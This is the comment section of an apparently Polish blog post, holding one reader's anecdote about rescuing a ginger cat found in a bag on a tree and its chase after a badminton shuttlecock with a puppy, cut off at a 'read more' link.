1 Comment threads
0 Thread replies
0 Followers
 
Most reacted comment
Hottest comment thread
0 Comment authors
Recent comment authors
  Subscribe  
najnowszy najstarszy oceniany
Powiadom o
Ewelek
Gość

Moja historia z Rudą Chwilą jest ciekawa od pierwszych naszych wspólnych dni. Po pierwsze – znalazłam ją wiszącą na drzewie w reklamówce i mimo trzech psów i jednego kota, musiałam zatrzymać u siebie w domu. Ruda jest niby persem, niby dachowcem, trochę też psem. Najśmieszniejsza historia z nią? Któregoś dnia grałam z mamą z badmintona – obserwował nas Czarek (najmłodszy z psiaków) i Ruda. W pewnym momencie piłka poleciała w złą stronę i poszli… z jednej strony Rudzik, z drugiej Czaruś… rozegrał się między nimi lepszy mecz niż pomiędzy Borussią a Legią 😉 piłki nie odzyskałyśmy, ale za to miałyśmy… Czytaj więcej »

Previous
Praca, kebab i książki za darmo [TYGODNIK]
Gdy jesteś tą trzecią…+ KONKURS